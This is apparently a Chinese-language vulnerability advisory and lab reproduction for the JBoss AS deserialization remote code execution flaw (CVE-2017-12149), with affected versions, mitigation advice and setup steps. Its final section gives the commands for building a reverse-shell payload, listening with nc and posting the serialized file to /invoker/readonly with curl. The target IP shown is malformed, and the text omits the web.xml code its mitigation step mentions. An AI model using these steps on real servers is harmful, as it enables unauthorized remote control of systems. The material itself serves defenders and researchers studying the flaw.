释放双眼,带上耳机,听听看~!
漏洞描述 2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了JBOSSApplicationServer反序列化命令执行漏洞(CNVD-2017-33724,对应CVE-2017-12
漏洞描述
2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了JBOSS Application
Server反序列化命令执行漏洞(CNVD-2017-33724,对应CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x
的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter
过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS
6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。CNVD对该漏洞的综合评级为“高危”。
影响范围
该漏洞影响5.x和6.x版本的JBOSSAS。目前评估潜在受影响主机数量超过5000台。
防护建议
升级到JBOSS AS7
临时解决方案:
1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:
3. 用于对 http invoker 组件进行访问控制。
漏洞复现
1.环境搭建
(1)从官网下载jboss安装包(http://jbossas.jboss.org/downloads/),此漏洞影响5.X及6.X,所以我下载的是JBoss AS6.1.0.Final这个版本
(2)解压压缩包,cmd进入\jboss-6.1.0.Final\bin目录下
(3)在cmd中执行run.bat -b 0.0.0.0
(4)如图中所示即为运行成功
(5)jboss默认安装端口为8080,在浏览器中访问结果如下图所示
(6)如上图即位安装成功
2.漏洞验证
(1)进入验证工具目录下执行以下程序,ip:port是制定反弹shell至哪个主机的哪个端口,一定要保证靶机能正常访问此主机
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
此时会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
(2)使用nc监听端口:nc -vlp 4444
(3)执行以下语句
curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
(4)成功拿到shell